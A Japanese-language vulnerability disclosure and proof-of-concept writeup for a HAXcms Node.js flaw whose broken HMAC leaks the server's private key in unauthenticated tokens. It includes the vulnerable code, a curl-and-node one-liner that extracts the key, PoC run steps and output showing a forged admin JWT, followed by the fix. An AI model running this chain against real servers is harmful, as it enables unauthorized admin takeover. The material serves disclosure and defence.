
CVE-2026-46395 の PoC および writeup: HAXcms Node.js における壊れた HMAC を介した未認証の秘密鍵開示 (CWE-321/CWE-200)。認可されたセキュリティ研究のみに使用してください。
許可されたセキュリティテストおよび研究のためのみの概念実証 (PoC) です。 ここで説明する脆弱性は、HAXcms の最新リリースで修正済みです。 このPoCは、防御者と研究者が、自身が所有する、または明示的にテストを許可された 未パッチのインスタンスで問題を検証できるように公開されています。
| CVE | CVE-2026-46395 |
| コンポーネント | HAXcms Node.js バックエンド - haxcms-nodejs/src/lib/HAXCMS.js |
| 脆弱性 | ハードコードされた暗号鍵と秘密鍵の開示 (CWE-321、CWE-200) |
| 深刻度 | Critical - CVSS 3.1 9.8 |
| 攻撃 | 未認証、単一のHTTPリクエスト、ユーザー操作なし |
| ステータス | 上流で修正済み。パッチ適用前のリリースに影響。 |
| プロジェクト | elmsln/HAXcms |
| 報告者 | Shreyas Challa ([email protected]) |
HAXcms Node.js バックエンド (src/lib/HAXCMS.js:2158-2163) の hmacBase64() には、2つの暗号実装上の誤りがあり、これらが組み合わさることで、未認証の攻撃者がサーバーのマスター署名秘密鍵 (privateKey + salt) を回復し、管理者レベルのJWTを偽造できるようになります。
// HAXCMS.js:2158-2163 - VULNERABLE
hmacBase64(data, key) {
var buf1 = crypto.createHmac("sha256", "0").update(data).digest(); // BUG 1: key hardcoded to "0"
var buf2 = Buffer.from(key); // BUG 2: the real key...
return Buffer.concat([buf1, buf2]).toString('base64') // ...is appended to the output
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
"0" が key の代わりに署名鍵として使用されるため、HMACは秘匿性を提供しません。key (システムの privateKey + salt) がダイジェストに連結され、base64エンコードされて返されるトークンに含まれます。したがって、すべてのトークンは次の構造になります:
base64url( [32 bytes: HMAC-SHA256 keyed with "0"] [N bytes: privateKey+salt IN PLAINTEXT] )
攻撃者は任意のトークンをbase64デコードし、最初の32バイトを破棄するだけで、秘密鍵を直接読み取ることができます。/system/api/connectionSettings エンドポイントはJWTスキップリスト (src/app.js) に含まれており、認証なしでこれらのトークンを複数返すため、単一のGETリクエストで鍵が露呈します。
PHPバックエンド (
HAXCMS.php:1619-1631) はこれを正しく実装しています (実際の鍵でキー付けされ、ダイジェストのみを返すため、トークンは44文字)。壊れたNode.js版は139文字以上のトークンを出力します - 余分なデータが埋め込まれていることが一目でわかる兆候です。
単一の未認証リクエストで完全な侵害が達成されます:
GET /system/api/connectionSettings にアクセスし、任意のトークンをbase64デコードして最初の32バイトを破棄します。jwt.sign(payload, privateKey+salt) を実行します。user_token、form_token などを再計算します。これは管理者が強力なパスワードを設定した後でも機能し、偽造されたトークンはログにログインイベントを残しません。
poc_hmac_key_leak.js は、実行中のインスタンスに対してこの一連のチェーンをエンドツーエンドで実行し、各ステップを詳細に出力します: トークンの取得 → 鍵の抽出 → 鍵の検証 → JWTの偽造 → リクエストトークンの偽造 → 認証付きエンドポイントの呼び出し → 書き込みアクセスを証明するためのサイト作成。
ローカルのテストインスタンスを起動します:
git clone https://github.com/elmsln/HAXcms.git
cd HAXcms/haxcms-nodejs && npm install
node src/app.js # serves on http://localhost:3000
git clone https://github.com/shreyas-challa/CVE-2026-46395-haxcms-hmac-key-leak.git
cd CVE-2026-46395-haxcms-hmac-key-leak
npm install # pulls jsonwebtoken (used for JWT forgery)
node poc_hmac_key_leak.js http://localhost:3000
jsonwebtoken がインストールされていない場合でも、PoCは鍵の抽出と検証を実行し、JWT偽造のステップを単にスキップします。
TOKEN=$(curl -s http://localhost:3000/system/api/connectionSettings \
| grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
node -e "const t='$TOKEN'.replace(/-/g,'+').replace(/_/g,'/');
console.log('Leaked key:', Buffer.from(t,'base64').slice(32).toString('utf8'));"
STEP 1: Fetch /system/api/connectionSettings (NO AUTH)
token length: 139 chars (a correct HMAC token is ~44)
STEP 2: Extract the private key from the token
Bytes 32+ (privateKey + salt in PLAINTEXT):
4b399844-...-...-db022bc6-fa42-4dae-a74e-4eb52a53461b
RESULT: Private key successfully extracted!
STEP 3: MATCH - extracted key is correct.
STEP 4: Forged JWT (user=admin) ...
STEP 7: SITE CREATED SUCCESSFULLY - full admin access confirmed.
壊れた関数を、ダイジェストのみを返す正しいキー付きHMACに置き換えます:
hmacBase64(data, key) {
return crypto.createHmac("sha256", key) // use the real key
.update(data)
.digest('base64') // return ONLY the hash
.replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
}
パッチ適用後:
privateKey と salt をローテーションします - 以前に
発行されたトークンには古い鍵が平文で含まれています (HTTPレスポンス、ログ、
ブラウザ履歴内)。上流の修正を含む最新のHAXcmsリリースに更新してください。
この問題はHAXcmsのメンテナーに報告され、公開前に修正されました。PoCはパッチが利用可能になった後にのみ公開されています。自身が所有するシステム、または明示的にテストを許可されたシステムに対してのみ使用してください。
この資料は、防御的研究、教育、および許可されたセキュリティテストのために提供されています。明示的な許可なしにシステムに対して実行することは違法となる場合があります。テスト前に適用されるすべての法律を遵守し、許可を取得する責任はすべて利用者にあります。保証なしで「現状のまま」提供されます (LICENSE を参照)。